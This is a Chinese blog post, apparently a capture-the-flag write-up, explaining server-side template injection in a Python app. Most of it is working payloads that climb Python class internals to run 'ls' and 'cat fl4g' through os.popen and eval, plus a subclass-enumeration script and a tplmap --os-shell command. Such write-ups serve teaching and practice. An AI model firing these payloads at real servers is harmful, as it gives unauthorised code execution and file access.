banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SSTI漏洞初探

起因#

xctf上做題遇到的

0x00 SSTI 漏洞簡介#

SSTI:Server-Side Template Injection

伺服器端模板注入,屬於格式化字串漏洞之一。

注入就是格式化字串漏洞的一種體現

不管是二進制還是web,很多的漏洞都能歸結為格式化字串漏洞

sql注入就是格式化字串漏洞的最好代表,在本不該執行sql語句的地方執行了sql語句。

xss的部分程式碼閉合注入也屬於這種方式。

什麼是模板注入呢?

html程式碼的時候,為了方便,很多網站都會使用模板,先寫好一個html檔案

當開發者想要這個模板對應的樣式時,可以直接用render_template_string方法來呼叫模板

從而直接把這個樣式渲染出來,而模板注入,就是指將一串指令代替變數傳入模板讓它執行

0x01writeup#

首先我們來建立一個簡單的測試url:

xxx.xxx.xxx.xxx:yyyyy/{{7*7}}

image

可以看到7*7這條指令被執行了

題目說的是python template injection,說明伺服器端腳本是python

那我們需要知道python中的類內方法:

  • class : 返回物件所屬的類別
  • mro : 返回一個類別所繼承的基類元組,方法在解析時按照元組的順序解析。
  • base : 返回該類別所繼承的基類
  • basemro都是用來尋找基類的
  • subclasses : 每個新類別都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
  • init : 類別的初始化方法
  • globals : 對包含函數全域變數的字典的引用

首先我們查看所有模組:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

image

這裡模組很多,為了後續我們方便使用模組,這裡我寫了一個小腳本,把對應的序號列出來:

import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
    print(i, type_list[i])

效果如下:

image

這裡可以使用catch_warnings模組的.__init__.func_globals.keys()linecache函數來呼叫os模組

xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

image

也可以使用osprinter函數來使用os.popen函數執行命令行語句

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

image

然後繼續使用os.popen執行cat fl4g命令顯示fl4g檔案內容:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

或者直接使用os模組的listdir方法來尋找flag檔案:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D

image

然後使用file方法來讀取fl4g:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D

最後讀取內容如下:

image

本題也可以使用服務端模板注入工具tplmap

使用python2環境,指定url加上--os-shell參數直接獲得目標主機shell:

python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell

image

本文完。

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。